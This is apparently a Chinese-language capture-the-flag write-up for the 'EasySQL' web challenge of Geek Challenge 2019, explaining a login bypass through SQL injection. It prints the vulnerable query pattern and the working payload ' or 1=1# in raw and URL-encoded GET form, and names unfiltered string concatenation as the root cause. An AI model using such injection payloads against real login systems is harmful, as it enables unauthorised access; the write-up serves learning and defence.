极客大挑战 2019 - Web - EasySQL

AI-摘要
Microsoft Xiaoice's GPT
AI初始化中...
介绍自己 🙈
生成本文简介 👋
推荐相关文章 📖
前往主页 🏠
前往爱发电购买
极客大挑战 2019 - Web - EasySQL
Hunter题目信息
| 项 | 内容 |
|---|---|
| 比赛 | 极客大挑战 2019 |
| 方向 | Web |
| 难度 | Easy |
| 环境 | 授权靶场(已脱敏) |
信息收集
访问首页是一个登录表单,提交到 check.php,参数为 username 和 password(GET 方式)。
1 | <form action="check.php" method="GET"> |
正常登录测试:
1 | GET /check.php?username=admin&password=*** |
返回:NO,Wrong username password!!!
友好 ID、求解人数等平台标识已脱敏。
漏洞分析
漏洞类型:SQL 注入(万能密码 / 逻辑绕过)。
后端 SQL 查询大致为:
1 | SELECT * FROM users WHERE username='$username' AND password='$password' |
后端将用户输入直接拼接进 SQL 查询,未做过滤。
利用过程
使用万能密码绕过。构造后 SQL 变为:
1 | SELECT * FROM users WHERE username='admin' AND password='' or 1=1#' |
or 1=1 恒真,# 注释掉后面内容,成功绕过登录。返回 Login Success! 并显示 flag。
1 | GET /check.php?username=admin&password=%27%20or%201%3D1%23 |
完整 EXP
最终 payload(未编码):
1 | username=admin&password=' or 1=1# |
URL 编码后的请求:
1 | GET /check.php?username=admin&password=%27%20or%201%3D1%23 |
Flag
1 | flag{xxxx} |
(登录成功后页面显示,真实值已脱敏。)
踩坑与总结
- 后端将用户输入直接拼接进 SQL 查询,未做过滤 —— 注入根因。
- 单引号闭合 password 字段,
or 1=1使条件恒真。 #注释掉剩余 SQL 语句,实现认证绕过。- 注意该题为 GET 传参,构造时需对引号、空格与
#做 URL 编码。
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果








